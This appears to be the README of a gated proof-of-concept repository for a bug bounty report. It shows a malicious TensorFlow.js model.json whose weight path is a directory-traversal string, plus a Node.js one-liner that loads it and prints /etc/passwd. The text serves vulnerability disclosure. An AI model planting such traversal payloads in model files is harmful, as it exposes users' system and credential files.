TensorFlow.js model.json path-traversal PoC (gated security artifact)
Gated security PoC. Access restricted to huntr / ProtectAI triage (protectai-bot).
This repo hosts a malicious TensorFlow.js model file that demonstrates an arbitrary
local-file-read triggered purely by loading the model in Node.js. Do not load it on a machine
whose local files you care about — it reads /etc/passwd into the model's weight data.
The malicious file
model.json is a valid TensorFlow.js GraphModel manifest. Its weightsManifest[0].paths[0] is a
directory-traversal string:
"paths": [ "../../../../../../../../../../../../../../../../../../../../etc/passwd" ]
When @tensorflow/tfjs-node loads this model, NodeFileSystem.loadWeights() does
readFile(join(dirname(model.json), path)) with no containment check, so it reads
/etc/passwd and returns its bytes as ModelArtifacts.weightData.
Reproduce (standard "download a model, load it locally" flow)
npm install @tensorflow/tfjs-node@latest
# download model.json from this repo into ./m/
node -e '
const tf = require("@tensorflow/tfjs-node");
tf.io.fileSystem("./m/model.json").load().then(a => {
console.log("bytes read:", a.weightData.byteLength);
console.log(Buffer.from(a.weightData).toString("utf8").split("\n").slice(0,3).join("\n"));
});
'
# -> prints the first lines of /etc/passwd (root:x:0:0:...)
tf.io.fileSystem(...).load() is exactly the handler that the public
tf.loadGraphModel("file://.../model.json") / tf.loadLayersModel("file://...") entrypoints use
internally. The same sink exists in @tensorflow/tfjs-inference.
See the linked huntr report for full root-cause, affected packages, and remediation.